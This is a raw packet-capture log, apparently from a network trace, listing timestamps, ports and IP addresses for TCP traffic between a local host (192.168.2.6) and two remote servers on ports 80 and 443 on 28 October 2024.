Oct 28, 2024 02:07:47.868530035 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.868532896 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.868670940 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.869391918 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.869508028 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.869518042 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.869529009 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.869538069 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.869549036 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.869559050 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.869586945 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.869630098 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.869642973 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.869647980 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.869657040 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.869668961 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.869669914 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.869678974 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.869689941 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.869698048 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.869702101 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.869708061 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.869713068 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.869718075 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.869719028 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.869740009 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.869759083 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.869770050 CET	50000	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.869776011 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.869786978 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.869797945 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.869807959 CET	443	50000	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.869810104 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.869813919 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.869828939 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.869829893 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.869841099 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.869856119 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.869884968 CET	443	49995	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.869909048 CET	443	49995	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.869911909 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.869911909 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.869930029 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.869942904 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.869952917 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.869965076 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.869965076 CET	443	49995	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.869985104 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.869997025 CET	49995	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.870034933 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.870045900 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870047092 CET	49995	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.870058060 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870068073 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870078087 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870088100 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870095968 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.870100021 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870120049 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.870121956 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870126963 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870135069 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870141983 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870148897 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870148897 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.870171070 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.870173931 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870183945 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870193958 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870204926 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.870224953 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.870254040 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870265007 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870275021 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870284081 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.870305061 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.870307922 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870318890 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870335102 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870347023 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.870359898 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870371103 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870379925 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870388031 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.870392084 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870424986 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.870465994 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.870465994 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.870481968 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870492935 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870508909 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870520115 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870537043 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870546103 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870554924 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870563984 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.870565891 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870575905 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870587111 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870596886 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870611906 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.870615959 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870625973 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870625973 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.870635033 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870646954 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870649099 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.870657921 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870690107 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870699883 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870709896 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870714903 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.870719910 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870734930 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.870748997 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870758057 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870769024 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.870774031 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.870868921 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.871316910 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.871335030 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.871356010 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.871433020 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.871433020 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.871475935 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.871486902 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.871503115 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.871512890 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.871524096 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.871534109 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.871558905 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.871560097 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.871572018 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.871581078 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.871591091 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.871592045 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.871603012 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.871612072 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.871612072 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.871623039 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.871675014 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.871685028 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.871685028 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.871690989 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.871700048 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.871707916 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.871710062 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.871723890 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.871742010 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.871748924 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.871748924 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.871752977 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.871768951 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.871782064 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.871787071 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.871787071 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.871812105 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.871814013 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.871817112 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.871825933 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.871835947 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.871839046 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.871845007 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.871856928 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.871872902 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.871882915 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.871893883 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.871905088 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.871906042 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.871906042 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.871910095 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.871916056 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.871932030 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.871938944 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.871948004 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.871952057 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.871953964 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.871980906 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.872077942 CET	443	49994	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.872128010 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.872226954 CET	443	49994	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.872700930 CET	49994	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.877656937 CET	49994	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.877669096 CET	443	49994	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.878238916 CET	49995	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.878268957 CET	443	49995	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.878319979 CET	49995	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.878334045 CET	443	49995	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.878434896 CET	443	49998	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.878618002 CET	443	49998	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.878845930 CET	49998	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.878845930 CET	49998	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.879007101 CET	49998	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.879019022 CET	443	49998	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.887137890 CET	50001	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.887156963 CET	443	50001	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.887428045 CET	50001	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.889277935 CET	50001	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.889288902 CET	443	50001	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.890753031 CET	50002	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.890789032 CET	443	50002	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.890954018 CET	50002	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.892160892 CET	50002	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.892190933 CET	443	50002	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.900969982 CET	50003	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.900979996 CET	443	50003	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.901262999 CET	50003	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.901721001 CET	50003	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.901731968 CET	443	50003	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.903114080 CET	50004	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.903156042 CET	443	50004	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.903295040 CET	50004	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.903465986 CET	50004	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.903492928 CET	443	50004	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.979799986 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.985117912 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.261832952 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.261850119 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.261861086 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.261873007 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.261885881 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.261890888 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.261899948 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.261910915 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.261919022 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.261924028 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.261969090 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.261996031 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.262007952 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.262020111 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.262032032 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.262042046 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.262053967 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.262056112 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.262065887 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.262070894 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.262077093 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.262089968 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.262089968 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.262161016 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.262177944 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.262190104 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.262201071 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.262250900 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.262327909 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.262341976 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.262347937 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.262358904 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.262368917 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.262382030 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.262393951 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.262394905 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.262403965 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.262408972 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.262414932 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.262420893 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.262427092 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.262433052 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.262444973 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.262465954 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.262470961 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.262476921 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.262489080 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.262495041 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.262530088 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.262562990 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.262648106 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.262658119 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.262667894 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.262692928 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.262705088 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.262716055 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.262720108 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.262727976 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.262734890 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.262753010 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.262753010 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.262775898 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.262785912 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.262794018 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.262799978 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.262810946 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.262823105 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.262825012 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.262835026 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.262845039 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.262849092 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.262859106 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.262871027 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.262881994 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.262895107 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.262933016 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.263117075 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.263130903 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.263149977 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.263159037 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.263161898 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.263168097 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.263176918 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.263179064 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.263180971 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.263194084 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.263200045 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.263221979 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.263235092 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.263253927 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.263257980 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.263266087 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.263273001 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.263284922 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.263308048 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.263325930 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.263427973 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.263452053 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.263467073 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.263468027 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.263480902 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.263489008 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.263493061 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.263504982 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.263508081 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.263523102 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.263523102 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.263535976 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.263540983 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.263581038 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.263585091 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.263597965 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.263606071 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.263633013 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.263637066 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.263647079 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.263684988 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.377985954 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378036976 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378043890 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.378048897 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:48.378076077 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.378099918 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:48.378175020 CET	80	49967	185.215.113.206	192.168.2.6
